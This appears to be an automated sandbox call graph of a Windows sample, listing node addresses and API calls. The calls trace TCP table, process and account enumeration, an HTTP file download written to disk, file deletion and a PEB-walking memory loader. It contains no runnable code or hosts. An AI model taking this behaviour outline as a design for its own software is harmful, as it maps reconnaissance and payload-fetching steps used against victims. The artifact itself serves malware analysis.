81250->81251 81251->81252 81252->81248 81252->81250 81252->81251 81252->81252 81253 2c748b7 WriteFile WriteFile _snprintf 81252->81253 81253->81248 81253->81249 81255 2c7412c 81254->81255 81256 2c7411c memset 81254->81256 81257 2c743c4 81255->81257 81258 2c7418d GetTcpTable 81255->81258 81256->81255 81257->81130 81259 2c74200 81258->81259 81260 2c7419f GetProcessHeap HeapValidate 81258->81260 81261 2c74204 GetProcessHeap HeapValidate 81259->81261 81262 2c7422d 81259->81262 81263 2c741af GetProcessHeap HeapFree 81260->81263 81264 2c741bb 81260->81264 81261->81257 81265 2c74218 GetProcessHeap HeapFree 81261->81265 81266 2c743cd 81262->81266 81267 2c74240 GetProcessHeap HeapAlloc 81262->81267 81263->81264 81268 2c741c4 GetProcessHeap HeapAlloc 81264->81268 81269 2c741e8 81264->81269 81265->81130 81270 2c82d20 4 API calls 81266->81270 81267->81266 81271 2c7425f memset 81267->81271 81268->81269 81272 2c741dc memset 81268->81272 81269->81257 81273 2c741f3 GetTcpTable 81269->81273 81274 2c743d7 81270->81274 81275 2c74274 81271->81275 81272->81269 81273->81259 81274->81130 81275->81275 81277 2c74363 81275->81277 81281 2c74291 81275->81281 81276 2c74000 GetProcessHeap HeapAlloc _snprintf 81276->81281 81277->81277 81278 2c7438d WriteFile GetProcessHeap HeapValidate 81277->81278 81278->81257 81280 2c743b8 GetProcessHeap HeapFree 81278->81280 81279 2c74360 81279->81277 81280->81257 81281->81276 81281->81279 81282 2c7432f GetProcessHeap HeapValidate 81281->81282 81284 2c742c7 htons htons _snprintf GetProcessHeap HeapValidate 81281->81284 81282->81281 81283 2c7433f GetProcessHeap HeapFree 81282->81283 81283->81281 81284->81281 81285 2c74320 GetProcessHeap HeapFree 81284->81285 81285->81281 81287 2c74433 Process32First 81286->81287 81293 2c74606 81286->81293 81288 2c74486 81287->81288 81289 2c7444b 81287->81289 81292 2c744a7 GetProcessHeap HeapAlloc 81288->81292 81288->81293 81290 2c74457 GetHandleInformation 81289->81290 81289->81293 81291 2c7446b 81290->81291 81290->81293 81291->81293 81294 2c74476 CloseHandle 81291->81294 81292->81293 81295 2c744c7 memset 81292->81295 81293->81132 81294->81132 81298 2c744e0 81295->81298 81296 2c744f0 OpenProcess 81297 2c74506 GetModuleFileNameExA 81296->81297 81296->81298 81297->81298 81298->81296 81299 2c74567 _snprintf Process32Next 81298->81299 81299->81296 81300 2c74599 81299->81300 81300->81300 81301 2c745c7 WriteFile GetProcessHeap HeapValidate 81300->81301 81301->81293 81302 2c745fa GetProcessHeap HeapFree 81301->81302 81302->81293 81304 2c74660 NetQueryDisplayInformation 81303->81304 81313 2c74684 81304->81313 81305 2c7476a WriteFile 81308 2c74796 GetProcessHeap HeapValidate 81305->81308 81309 2c747b8 81305->81309 81307 2c746b1 GetProcessHeap HeapAlloc 81310 2c746d0 memset 81307->81310 81307->81313 81308->81309 81312 2c747ac GetProcessHeap HeapFree 81308->81312 81309->81134 81310->81313 81311 2c747c1 NetApiBufferFree 81311->81134 81312->81309 81313->81305 81313->81307 81313->81311 81313->81313 81314 2c7473d NetApiBufferFree 81313->81314 81315 2c7470f _snprintf 81313->81315 81314->81304 81314->81305 81315->81313 81317 2c82d12 81316->81317 81318 2c82ce6 GetProcessHeap RtlAllocateHeap 81316->81318 81317->81148 81317->81149 81318->81317 81319 2c82d04 memset 81318->81319 81319->81317 81320->81152 81321->81155 81322->81159 81324 2c97b9f 81323->81324 81325 2c97b74 memset 81323->81325 81326 2c97be5 81324->81326 81332 2c97bbe CreateFileA 81324->81332 81325->81324 81327 2c97bf3 GetProcessHeap HeapValidate 81326->81327 81328 2c97c16 GetProcessHeap HeapAlloc 81326->81328 81330 2c97c0d 81327->81330 81331 2c97c02 GetProcessHeap HeapFree 81327->81331 81329 2c97c27 81328->81329 81329->81197 81330->81197 81331->81330 81332->81326 81335 2c97cfb 81333->81335 81334 2c8284f 81346 2c97c50 81334->81346 81335->81334 81335->81335 81336 2c97d57 LocalAlloc 81335->81336 81336->81334 81337 2c97d71 _snprintf FindFirstFileA LocalFree 81336->81337 81338 2c97eeb FindClose 81337->81338 81345 2c97da7 81337->81345 81338->81334 81339 2c97ed7 FindNextFileA 81339->81338 81339->81345 81340 2c97dc6 wsprintfA wsprintfA 81340->81345 81341 2c97e77 memset lstrcpynA 81384 2c97530 81341->81384 81343 2c97ce0 76 API calls 81343->81345 81344 2c97530 76 API calls 81344->81345 81345->81339 81345->81340 81345->81341 81345->81343 81345->81344 81347 2c97c5b 81346->81347 81348 2c97c6a 81346->81348 81347->81198 81349 2c97c6f 81348->81349 81656 2c96ff0 81348->81656 81349->81198 81351 2c97c88 81352 2c97cb3 GetProcessHeap HeapValidate 81351->81352 81353 2c97c97 GetProcessHeap HeapValidate 81351->81353 81355 2c97ccf 81352->81355 81356 2c97cc3 GetProcessHeap HeapFree 81352->81356 81353->81352 81354 2c97ca7 GetProcessHeap HeapFree 81353->81354 81354->81352 81355->81198 81356->81355 81825 2c76570 81357->81825 81359 2c769be 81359->81172 81359->81206 81359->81208 81360 2c7699c GetProcessHeap HeapValidate 81360->81359 81362 2c769b2 GetProcessHeap HeapFree 81360->81362 81362->81359 81363 2c76963 GetProcessHeap HeapAlloc 81365 2c7697f memset 81363->81365 81366 2c7698b 81363->81366 81364 2c7698e 81364->81360 81365->81366 81366->81364 81842 2c76240 memset memset RegOpenKeyExA 81367->81842 81369 2c82487 81370 2c824eb 81369->81370 81376 2c824c9 GetProcessHeap HeapValidate 81369->81376 81854 2c839c0 memset 81370->81854 81372 2c82512 81373 2c825a8 81372->81373 81374 2c76570 13 API calls 81372->81374 81373->81208 81375 2c8252b 81374->81375 81375->81373 81377 2c82531 SetFileAttributesA DeleteFileA 81375->81377 81376->81370 81378 2c824dc GetProcessHeap HeapFree 81376->81378 81379 2c8257c GetProcessHeap HeapValidate 81377->81379 81380 2c82552 81377->81380 81378->81370 81381 2c8259c 81379->81381 81382 2c82591 GetProcessHeap HeapFree 81379->81382 81380->81379 81381->81208 81382->81381 81383->81183 81385 2c97554 81384->81385 81386 2c97546 81384->81386 81387 2c97568 lstrcpynA 81385->81387 81388 2c9755a 81385->81388 81386->81345 81389 2c9760b 81387->81389 81390 2c9758b 81387->81390 81388->81345 81389->81345 81391 2c975e9 81390->81391 81392 2c975f5 81390->81392 81436 2c97090 81391->81436 81394 2c975fa 81392->81394 81395 2c97606 81392->81395 81534 2c97130 81394->81534 81395->81389 81398 2c9763a 81395->81398 81397 2c975f3 81397->81389 81400 2c97645 lstrcpynA lstrcpynA 81397->81400 81543 2c97210 GetLocalTime SystemTimeToFileTime FileTimeToDosDateTime 81398->81543 81403 2c97680 81400->81403 81401 2c976b9 lstrcpynA 81402 2c9772b 81401->81402 81447 2c961d0 81402->81447 81403->81401 81403->81403 81406 2c9781b 81408 2c97350 2 API calls 81406->81408 81407 2c9782e 81409 2c97859 81407->81409 81410 2c97848 81407->81410 81408->81389 81412 2c97874 81409->81412 81414 2c97878 81409->81414 81415 2c97867 81409->81415 81411 2c97350 2 API calls 81410->81411 81413 2c9784d 81411->81413 81523 2c97350 81412->81523 81413->81345 81414->81412 81544 2c974c0 10 API calls 81414->81544 81512 2c973c0 GetProcessHeap RtlAllocateHeap 81415->81512 81420 2c978cf 81529 2c96fa0 81420->81529 81421 2c97940 81422 2c9794c 81421->81422 81545 2c96470 8 API calls 81421->81545 81422->81345 81424 2c9790d 81424->81389 81426 2c961d0 8 API calls 81424->81426 81427 2c9791c 81426->81427 81427->81389 81430 2c96fa0 SetFilePointer 81427->81430 81428 2c97992 81429 2c979a1 memcpy GetProcessHeap HeapAlloc 81428->81429 81546 2c82de0 GetProcessHeap HeapAlloc memset 81428->81546 81434 2c979e2 memset 81429->81434 81435 2c979f2 81429->81435 81433 2c9792e 81430->81433 81433->81389 81433->81428 81434->81435 81435->81345 81437 2c970c2 CreateFileA 81436->81437 81438 2c970b6 81436->81438 81439 2c970e8 81437->81439 81440 2c970dc 81437->81440 81438->81397 81441 2c97130 19 API calls 81439->81441 81440->81397 81442 2c970ed 81441->81442 81443 2c97117 81442->81443 81444 2c970fb GetHandleInformation 81442->81444 81443->81397 81444->81443 81445 2c9710a 81444->81445 81445->81443 81446 2c97110 CloseHandle 81445->81446 81446->81443 81547 2c96e90 81447->81547 81449 2c961e5 81450 2c96e90 8 API calls 81449->81450 81451 2c961f6 81450->81451 81452 2c96e90 8 API calls 81451->81452 81453 2c96207 81452->81453 81454 2c96e90 8 API calls 81453->81454 81455 2c96218 81454->81455 81456 2c96e90 8 API calls 81455->81456 81457 2c9622c 81456->81457 81458 2c96e90 8 API calls 81457->81458 81459 2c96240 81458->81459 81460 2c96e90 8 API calls 81459->81460 81461 2c96254 81460->81461 81462 2c96e90 8 API calls 81461->81462 81463 2c96268 81462->81463 81464 2c96e90 8 API calls 81463->81464 81465 2c9627c 81464->81465 81466 2c96e90 8 API calls 81465->81466 81467 2c96290 81466->81467 81468 2c96e90 8 API calls 81467->81468 81469 2c962a4 81468->81469 81470 2c96e90 8 API calls 81469->81470 81471 2c962b8 81470->81471 81472 2c96e90 8 API calls 81471->81472 81473 2c962cc 81472->81473 81474 2c96e90 8 API calls 81473->81474 81475 2c962e0 81474->81475 81476 2c96e90 8 API calls 81475->81476 81477 2c962f4 81476->81477 81478 2c96e90 8 API calls 81477->81478 81479 2c96308 81478->81479 81480 2c96e90 8 API calls 81479->81480 81481 2c9631c 81480->81481 81482 2c96e90 8 API calls 81481->81482 81483 2c96330 81482->81483 81484 2c96e90 8 API calls 81483->81484 81485 2c96344 81484->81485 81486 2c96e90 8 API calls 81485->81486 81487 2c96358 81486->81487 81488 2c96e90 8 API calls 81487->81488 81489 2c9636c 81488->81489 81490 2c96e90 8 API calls 81489->81490 81491 2c96380 81490->81491 81492 2c96e90 8 API calls 81491->81492 81493 2c96394 81492->81493 81494 2c96e90 8 API calls 81493->81494 81495 2c963a8 81494->81495 81496 2c96e90 8 API calls 81495->81496 81497 2c963bc 81496->81497 81498 2c96e90 8 API calls 81497->81498 81499 2c963d0 81498->81499 81500 2c96e90 8 API calls 81499->81500 81501 2c963e4 81500->81501 81502 2c96e90 8 API calls 81501->81502 81503 2c963fa 81502->81503 81504 2c96e90 8 API calls 81503->81504 81505 2c9640e 81504->81505 81506 2c96e90 8 API calls 81505->81506 81507 2c96424 81506->81507 81508 2c9643a 81507->81508 81509 2c96e90 8 API calls 81507->81509 81510 2c9643f 81508->81510 81511 2c96e90 8 API calls 81508->81511 81509->81508 81510->81406 81510->81407 81511->81510 81513 2c973e8 memset 81512->81513 81514 2c973fc 81512->81514 81580 2c94270 17 API calls 81513->81580 81562 2c95870 81514->81562 81519 2c97484 GetProcessHeap HeapValidate 81521 2c974ab GetProcessHeap RtlFreeHeap 81519->81521 81522 2c974b6 81519->81522 81521->81522 81522->81412 81524 2c9735a 81523->81524 81525 2c97385 81523->81525 81524->81525 81526 2c97362 GetHandleInformation 81524->81526 81525->81389 81525->81420 81525->81421 81526->81525 81527 2c97378 81526->81527 81527->81525 81528 2c9737e CloseHandle 81527->81528 81528->81525 81530 2c96fb0 81529->81530 81531 2c96fa6 81529->81531 81532 2c96fb6 81530->81532 81533 2c96fd1 SetFilePointer 81530->81533 81531->81424 81532->81424 81533->81424 81535 2c97159 81534->81535 81536 2c971ff 81534->81536 81535->81536 81537 2c97162 GetFileType 81535->81537 81536->81397 81538 2c9716e 81537->81538 81539 2c971a0 GetLocalTime SystemTimeToFileTime FileTimeToDosDateTime 81537->81539 81642 2c96c70 GetFileType 81538->81642 81539->81397 81541 2c97183 81541->81536 81542 2c97187 SetFilePointer 81541->81542 81542->81397 81543->81397 81544->81412 81545->81433 81546->81429 81548 2c96ea3 81547->81548 81549 2c96f64 81547->81549 81550 2c96f42 memcpy 81548->81550 81553 2c96ebf CreateFileMappingA 81548->81553 81551 2c96f6a WriteFile 81549->81551 81552 2c96f90 81549->81552 81550->81449 81551->81449 81552->81449 81555 2c96eff 81553->81555 81556 2c96ee3 MapViewOfFile 81553->81556 81555->81449 81557 2c96efa 81556->81557 81558 2c96f0d memcpy UnmapViewOfFile 81556->81558 81559 2c93e00 2 API calls 81557->81559 81560 2c93e00 2 API calls 81558->81560 81559->81555 81561 2c96f30 81560->81561 81561->81550 81563 2c95882 memset 81562->81563 81565 2c95908 81563->81565 81569 2c97290 2 API calls 81565->81569 81566 2c9595c 81570 2c95ee0 81566->81570 81567 2c9593b 81567->81566 81581 2c95b50 memcpy memcpy ReadFile 81567->81581 81569->81567 81571 2c95f03 81570->81571 81577 2c95f0e 81570->81577 81602 2c95c90 12 API calls 81571->81602 81573 2c9617f 81582 2c94fe0 81573->81582 81574 2c95f08 81574->81519 81577->81573 81579 2c94fe0 9 API calls 81577->81579 81603 2c95b50 memcpy memcpy ReadFile 81577->81603 81579->81577 81580->81514 81581->81566 81583 2c9500d 81582->81583 81584 2c950a0 81583->81584 81587 2c95067 81583->81587 81585 2c950e1 81584->81585 81586 2c950a6 81584->81586 81604 2c95580 81585->81604 81588 2c95580 8 API calls 81586->81588 81590 2c95580 8 API calls 81587->81590 81591 2c950af 81588->81591 81593 2c9506f 81590->81593 81595 2c95390 8 API calls 81591->81595 81632 2c95730 9 API calls 81593->81632 81600 2c9509b 81595->81600 81599 2c9516c 81599->81519 81600->81599 81628 2c95640 81600->81628 81602->81574 81603->81577 81605 2c9558f 81604->81605 81606 2c950ea 81605->81606 81633 2c96e60 81605->81633 81608 2c94f10 81606->81608 81609 2c94f27 81608->81609 81610 2c95580 8 API calls 81609->81610 81611 2c94f63 81610->81611 81612 2c95580 8 API calls 81611->81612 81613 2c94f71 81612->81613 81614 2c95580 8 API calls 81613->81614 81615 2c94f7c 81614->81615 81616 2c94fac 81615->81616 81618 2c95580 8 API calls 81615->81618 81638 2c94ce0 81616->81638 81618->81615 81620 2c94ce0 8 API calls 81621 2c94fce 81620->81621 81622 2c95390 81621->81622 81625 2c954a9 81622->81625 81627 2c953ae 81622->81627 81623 2c95580 8 API calls 81624 2c954c2 81623->81624 81624->81600 81625->81623 81626 2c95580 8 API calls 81626->81627 81627->81625 81627->81626 81629 2c9564c 81628->81629 81630 2c95703 81629->81630 81631 2c96e60 8 API calls 81629->81631 81630->81599 81631->81630 81632->81600 81634 2c96e6d 81633->81634 81635 2c96e72 81633->81635 81634->81606 81636 2c96e90 8 API calls 81635->81636 81637 2c96e7f 81636->81637 81637->81606 81641 2c94d05 81638->81641 81639 2c94e35 81639->81620 81640 2c95580 8 API calls 81640->81641 81641->81639 81641->81640 81643 2c96c91 GetFileInformationByHandle 81642->81643 81644 2c96c84 81642->81644 81645 2c96cad GetSystemTime GetLocalTime SystemTimeToFileTime SystemTimeToFileTime 81643->81645 81646 2c96ca0 81643->81646 81644->81541 81647 2c96d05 GetFileSize 81645->81647 81646->81541 81649 2c96d6e SetFilePointer ReadFile SetFilePointer ReadFile 81647->81649 81653 2c96dfd 81647->81653 81650 2c96db5 81649->81650 81649->81653 81651 2c96dc0 SetFilePointer ReadFile 81650->81651 81650->81653 81652 2c96de1 81651->81652 81652->81653 81654 2c96e2d FileTimeToDosDateTime 81653->81654 81655 2c96e4e 81653->81655 81654->81655 81655->81541 81657 2c96ffd 81656->81657 81658 2c97003 81656->81658 81671 2c97a50 81657->81671 81660 2c9701d 81658->81660 81661 2c97016 UnmapViewOfFile 81658->81661 81662 2c9702b GetHandleInformation 81660->81662 81663 2c9704e 81660->81663 81661->81660 81662->81663 81664 2c97041 81662->81664 81665 2c97059 GetHandleInformation 81663->81665 81666 2c97086 81663->81666 81664->81663 81667 2c97047 CloseHandle 81664->81667 81668 2c97078 81665->81668 81669 2c9706b 81665->81669 81666->81351 81667->81663 81668->81351 81669->81668 81670 2c97071 CloseHandle 81669->81670 81670->81668 81678 2c97a78 81671->81678 81679 2c97b04 81671->81679 81672 2c97ab3 GetProcessHeap HeapValidate 81673 2c97ad7 GetProcessHeap HeapValidate 81672->81673 81676 2c97ac7 GetProcessHeap HeapFree 81672->81676 81677 2c97aed GetProcessHeap HeapFree 81673->81677 81673->81678 81676->81673 81677->81678 81678->81672 81678->81673 81678->81679 81681 2c965b0 81678->81681 81680 2c97b24 81679->81680 81780 2c969b0 81679->81780 81680->81658 81682 2c96e90 8 API calls 81681->81682 81683 2c965c5 81682->81683 81684 2c96e90 8 API calls 81683->81684 81685 2c965d6 81684->81685 81686 2c96e90 8 API calls 81685->81686 81687 2c965e7 81686->81687 81688 2c96e90 8 API calls 81687->81688 81689 2c965f8 81688->81689 81690 2c96e90 8 API calls 81689->81690 81691 2c9660b 81690->81691 81692 2c96e90 8 API calls 81691->81692 81693 2c9661f 81692->81693 81694 2c96e90 8 API calls 81693->81694 81695 2c96633 81694->81695 81696 2c96e90 8 API calls 81695->81696 81697 2c96647 81696->81697 81698 2c96e90 8 API calls 81697->81698 81699 2c9665b 81698->81699 81700 2c96e90 8 API calls 81699->81700 81701 2c9666f 81700->81701 81702 2c96e90 8 API calls 81701->81702 81703 2c96683 81702->81703 81704 2c96e90 8 API calls 81703->81704 81705 2c96697 81704->81705 81706 2c96e90 8 API calls 81705->81706 81707 2c966ab 81706->81707 81708 2c96e90 8 API calls 81707->81708 81709 2c966bf 81708->81709 81710 2c96e90 8 API calls 81709->81710 81711 2c966d3 81710->81711 81712 2c96e90 8 API calls 81711->81712 81713 2c966e7 81712->81713 81714 2c96e90 8 API calls 81713->81714 81715 2c966fb 81714->81715 81716 2c96e90 8 API calls 81715->81716 81717 2c9670f 81716->81717 81718 2c96e90 8 API calls 81717->81718 81719 2c96723 81718->81719 81720 2c96e90 8 API calls 81719->81720 81721 2c96737 81720->81721 81722 2c96e90 8 API calls 81721->81722 81723 2c9674b 81722->81723 81724 2c96e90 8 API calls 81723->81724 81725 2c9675f 81724->81725 81726 2c96e90 8 API calls 81725->81726 81727 2c96773 81726->81727 81728 2c96e90 8 API calls 81727->81728 81729 2c96787 81728->81729 81730 2c96e90 8 API calls 81729->81730 81731 2c9679b 81730->81731 81732 2c96e90 8 API calls 81731->81732 81733 2c967af 81732->81733 81734 2c96e90 8 API calls 81733->81734 81735 2c967c3 81734->81735 81736 2c96e90 8 API calls 81735->81736 81737 2c967d7 81736->81737 81738 2c96e90 8 API calls 81737->81738 81739 2c967eb 81738->81739 81740 2c96e90 8 API calls 81739->81740 81741 2c96801 81740->81741 81742 2c96e90 8 API calls 81741->81742 81743 2c96815 81742->81743 81744 2c96e90 8 API calls 81743->81744 81745 2c9682b 81744->81745 81746 2c96e90 8 API calls 81745->81746 81747 2c9683f 81746->81747 81748 2c96e90 8 API calls 81747->81748 81749 2c96855 81748->81749 81750 2c96e90 8 API calls 81749->81750 81751 2c96869 81750->81751 81752 2c96e90 8 API calls 81751->81752 81753 2c9687d 81752->81753 81754 2c96e90 8 API calls 81753->81754 81755 2c96891 81754->81755 81756 2c96e90 8 API calls 81755->81756 81757 2c968a5 81756->81757 81758 2c96e90 8 API calls 81757->81758 81759 2c968b9 81758->81759 81760 2c96e90 8 API calls 81759->81760 81761 2c968cd 81760->81761 81762 2c96e90 8 API calls 81761->81762 81763 2c968e1 81762->81763 81764 2c96e90 8 API calls 81763->81764 81765 2c968f5 81764->81765 81766 2c96e90 8 API calls 81765->81766 81767 2c96909 81766->81767 81768 2c96e90 8 API calls 81767->81768 81769 2c9691d 81768->81769 81770 2c96e90 8 API calls 81769->81770 81771 2c96931 81770->81771 81772 2c96e90 8 API calls 81771->81772 81773 2c96945 81772->81773 81774 2c9695b 81773->81774 81775 2c96e90 8 API calls 81773->81775 81776 2c96991 81774->81776 81777 2c96976 81774->81777 81778 2c96e90 8 API calls 81774->81778 81775->81774 81776->81678 81777->81776 81779 2c96e90 8 API calls 81777->81779 81778->81777 81779->81776 81781 2c96e90 8 API calls 81780->81781 81782 2c969c9 81781->81782 81783 2c96e90 8 API calls 81782->81783 81784 2c969da 81783->81784 81785 2c96e90 8 API calls 81784->81785 81786 2c969eb 81785->81786 81787 2c96e90 8 API calls 81786->81787 81788 2c969fc 81787->81788 81789 2c96e90 8 API calls 81788->81789 81790 2c96a0d 81789->81790 81791 2c96e90 8 API calls 81790->81791 81792 2c96a1e 81791->81792 81793 2c96e90 8 API calls 81792->81793 81794 2c96a2f 81793->81794 81795 2c96e90 8 API calls 81794->81795 81796 2c96a40 81795->81796 81797 2c96e90 8 API calls 81796->81797 81798 2c96a53 81797->81798 81799 2c96e90 8 API calls 81798->81799 81800 2c96a6c 81799->81800 81801 2c96e90 8 API calls 81800->81801 81802 2c96a7f 81801->81802 81803 2c96e90 8 API calls 81802->81803 81804 2c96a92 81803->81804 81805 2c96e90 8 API calls 81804->81805 81806 2c96aa5 81805->81806 81807 2c96e90 8 API calls 81806->81807 81808 2c96abb 81807->81808 81809 2c96e90 8 API calls 81808->81809 81810 2c96ad1 81809->81810 81811 2c96e90 8 API calls 81810->81811 81812 2c96ae7 81811->81812 81813 2c96e90 8 API calls 81812->81813 81814 2c96af7 81813->81814 81815 2c96e90 8 API calls 81814->81815 81816 2c96b0c 81815->81816 81817 2c96e90 8 API calls 81816->81817 81818 2c96b21 81817->81818 81819 2c96e90 8 API calls 81818->81819 81820 2c96b34 81819->81820 81821 2c96e90 8 API calls 81820->81821 81822 2c96b45 81821->81822 81823 2c96e90 8 API calls 81822->81823 81824 2c96b56 81823->81824 81824->81680 81826 2c76585 CreateFileA 81825->81826 81827 2c76674 81825->81827 81826->81827 81828 2c765aa GetFileSizeEx 81826->81828 81829 2c7667b IsBadWritePtr 81827->81829 81830 2c7668a 81827->81830 81831 2c765c8 81828->81831 81839 2c76643 81828->81839 81829->81830 81830->81359 81830->81360 81830->81363 81830->81364 81834 2c765d4 GetProcessHeap RtlAllocateHeap 81831->81834 81835 2c765fc 81831->81835 81832 2c76658 GetHandleInformation 81832->81827 81833 2c76667 81832->81833 81833->81827 81836 2c7666d CloseHandle 81833->81836 81834->81835 81837 2c765f0 memset 81834->81837 81838 2c76606 ReadFile 81835->81838 81835->81839 81836->81827 81837->81835 81838->81839 81840 2c76620 GetProcessHeap HeapValidate 81838->81840 81839->81827 81839->81832 81840->81839 81841 2c76633 GetProcessHeap HeapFree 81840->81841 81841->81839 81843 2c76384 81842->81843 81844 2c762b9 RegQueryValueExA 81842->81844 81845 2c76392 81843->81845 81846 2c7638b RegCloseKey 81843->81846 81844->81843 81850 2c762e0 81844->81850 81847 2c763a5 81845->81847 81894 2c760e0 memset memset RegOpenKeyExA 81845->81894 81846->81845 81847->81369 81850->81843 81851 2c76343 GetProcessHeap HeapAlloc 81850->81851 81851->81843 81852 2c7635d memset 81851->81852 81852->81843 81853 2c76371 lstrcpynA 81852->81853 81853->81843 81855 2c83d4d 81854->81855 81867 2c83a0b 81854->81867 81856 2c83d7f 81855->81856 81914 2c83620 memset 81855->81914 81856->81372 81858 2c83a71 InternetOpenA 81858->81855 81859 2c83a91 InternetConnectA 81858->81859 81861 2c83ab2 HttpOpenRequestA 81859->81861 81862 2c83d43 InternetCloseHandle 81859->81862 81860 2c83d76 81860->81372 81864 2c83ae8 81861->81864 81865 2c83d39 InternetCloseHandle 81861->81865 81862->81855 81866 2c83b0d HttpAddRequestHeadersA 81864->81866 81868 2c83afe HttpAddRequestHeadersA 81864->81868 81865->81862 81869 2c83b52 HttpSendRequestA 81866->81869 81870 2c83b22 _snprintf HttpAddRequestHeadersA 81866->81870 81867->81855 81867->81858 81868->81866 81871 2c83d2c InternetCloseHandle 81869->81871 81872 2c83b6d HttpQueryInfoA 81869->81872 81870->81869 81871->81865 81872->81871 81873 2c83b8d 81872->81873 81873->81871 81874 2c83b9a CreateFileA 81873->81874 81874->81871 81875 2c83bc4 81874->81875 81876 2c83bd0 GetProcessHeap RtlAllocateHeap 81875->81876 81877 2c83bea memset InternetReadFile 81876->81877 81878 2c83c73 81876->81878 81879 2c83c19 81877->81879 81880 2c83c57 GetProcessHeap HeapValidate 81877->81880 81881 2c83c9a 81878->81881 81882 2c83c77 GetHandleInformation 81878->81882 81879->81880 81884 2c83c20 WriteFile GetProcessHeap HeapValidate 81879->81884 81880->81878 81885 2c83c67 GetProcessHeap HeapFree 81880->81885 81883 2c76570 13 API calls 81881->81883 81882->81881 81886 2c83c8d 81882->81886 81890 2c83ca8 81883->81890 81884->81876 81887 2c83c46 GetProcessHeap HeapFree 81884->81887 81885->81878 81886->81881 81888 2c83c93 CloseHandle 81886->81888 81887->81876 81888->81881 81889 2c83d29 81889->81871 81890->81889 81903 2c764d0 81890->81903 81892 2c83d0d GetProcessHeap HeapValidate 81892->81889 81893 2c83d1d GetProcessHeap RtlFreeHeap 81892->81893 81893->81889 81895 2c76224 81894->81895 81896 2c76158 RegQueryValueExA 81894->81896 81897 2c76232 81895->81897 81898 2c7622b RegCloseKey 81895->81898 81896->81895 81899 2c7617f 81896->81899 81897->81369 81898->81897 81899->81895 81900 2c761e3 GetProcessHeap HeapAlloc 81899->81900 81900->81895 81901 2c761fd memset 81900->81901 81901->81895 81902 2c76211 lstrcpynA 81901->81902 81902->81895 81904 2c76562 81903->81904 81905 2c764e2 81903->81905 81904->81892 81905->81904 81906 2c764eb CreateFileA 81905->81906 81907 2c7650a WriteFile 81906->81907 81908 2c76559 81906->81908 81909 2c7652d 81907->81909 81910 2c76522 SetEndOfFile 81907->81910 81908->81892 81909->81908 81911 2c7653d GetHandleInformation 81909->81911 81910->81909 81911->81908 81912 2c7654c 81911->81912 81912->81908 81913 2c76552 CloseHandle 81912->81913 81913->81908 81915 2c839a2 81914->81915 81928 2c8366b 81914->81928 81915->81860 81916 2c836d1 InternetOpenA 81917 2c839ad 81916->81917 81918 2c836f4 InternetConnectA 81916->81918 81917->81860 81919 2c8398f InternetCloseHandle 81918->81919 81920 2c83712 HttpOpenRequestA 81918->81920 81919->81860 81922 2c83744 81920->81922 81923 2c83985 InternetCloseHandle 81920->81923 81924 2c83764 HttpAddRequestHeadersA 81922->81924 81925 2c83755 HttpAddRequestHeadersA 81922->81925 81923->81919 81926 2c837a8 HttpSendRequestA 81924->81926 81927 2c83778 _snprintf HttpAddRequestHeadersA 81924->81927 81925->81924 81929 2c8397b InternetCloseHandle 81926->81929 81930 2c837c1 HttpQueryInfoA 81926->81930 81927->81926 81928->81915 81928->81916 81929->81923 81930->81929 81931 2c837e1 81930->81931 81931->81929 81932 2c837ee CreateFileA 81931->81932 81932->81929 81933 2c8381a 81932->81933 81934 2c83820 GetProcessHeap HeapAlloc 81933->81934 81935 2c8383a memset InternetReadFile 81934->81935 81936 2c838c3 81934->81936 81939 2c83869 81935->81939 81940 2c838a7 GetProcessHeap HeapValidate 81935->81940 81937 2c838ea 81936->81937 81938 2c838c7 GetHandleInformation 81936->81938 81943 2c76570 13 API calls 81937->81943 81938->81937 81942 2c838dd 81938->81942 81939->81940 81944 2c83870 WriteFile GetProcessHeap HeapValidate 81939->81944 81940->81936 81941 2c838b7 GetProcessHeap HeapFree 81940->81941 81941->81936 81942->81937 81945 2c838e3 CloseHandle 81942->81945 81946 2c838fa 81943->81946 81944->81934 81947 2c83896 GetProcessHeap HeapFree 81944->81947 81945->81937 81948 2c83978 81946->81948 81949 2c764d0 5 API calls 81946->81949 81947->81934 81948->81929 81950 2c8395c GetProcessHeap HeapValidate 81949->81950 81950->81948 81951 2c8396c GetProcessHeap HeapFree 81950->81951 81951->81948 81952 2c76a30 NtQuerySystemInformation 81953 2c76a5f GetCurrentProcessId 81952->81953 81954 2c76b39 81952->81954 81961 2c92e00 OpenProcess 81953->81961 81957 2c76a6e GetCurrentThreadId GetThreadDesktop GetUserObjectInformationA 81958 2c76a98 lstrcmpiA 81957->81958 81959 2c76ab2 81957->81959 81958->81954 81958->81959 81959->81954 81960 2c76ad0 memset _snprintf OpenMutexA 81959->81960 81960->81959 81962 2c76a6a 81961->81962 81963 2c92e25 OpenProcessToken 81961->81963 81962->81957 81962->81959 81964 2c92e3a GetTokenInformation 81963->81964 81965 2c92ed2 GetHandleInformation 81963->81965 81967 2c92e54 CharUpperA 81964->81967 81974 2c92e82 81964->81974 81965->81962 81966 2c92ee8 81965->81966 81966->81962 81968 2c92eee CloseHandle 81966->81968 81969 2c92e70 81967->81969 81968->81962 81972 2c92e84 CharUpperA 81969->81972 81969->81974 81970 2c92eb6 GetHandleInformation 81970->81965 81971 2c92ec5 81970->81971 81971->81965 81973 2c92ecb CloseHandle 81971->81973 81972->81974 81973->81965 81974->81965 81974->81970 81975 29a1360 82017 29a11d0 81975->82017 81977 29a136f GetPEB 81978 29a1090 GetPEB 81977->81978 81979 29a1394 81978->81979 81980 29a1000 GetPEB 81979->81980 81981 29a13a0 81980->81981 81982 29a1090 GetPEB 81981->81982 81983 29a13a6 81982->81983 81984 29a1619 81983->81984 81985 29a13bc GetPEB 81983->81985 81986 29a1000 GetPEB 81984->81986 81987 29a1090 GetPEB 81985->81987 81988 29a1625 81986->81988 81991 29a13d8 81987->81991 81989 29a1090 GetPEB 81988->81989 81990 29a162b 81989->81990 81991->81984 81992 29a1000 GetPEB 81991->81992 81993 29a141b 81992->81993 81994 29a1090 GetPEB 81993->81994 81995 29a1421 81994->81995 81996 29a1000 GetPEB 81995->81996 81997 29a1441 81996->81997 81998 29a1090 GetPEB 81997->81998 81999 29a1447 VirtualAlloc 81998->81999 81999->81984 82009 29a1460 81999->82009 82000 29a158c 82001 29a1000 GetPEB 82000->82001 82003 29a15bd 82001->82003 82002 29a1090 GetPEB 82002->82009 82004 29a1090 GetPEB 82003->82004 82005 29a15c3 82004->82005 82006 29a12c0 GetPEB 82005->82006 82008 29a15de 82006->82008 82007 29a1000 GetPEB 82007->82009 82008->81984 82012 29a1000 GetPEB 82008->82012 82009->82000 82009->82002 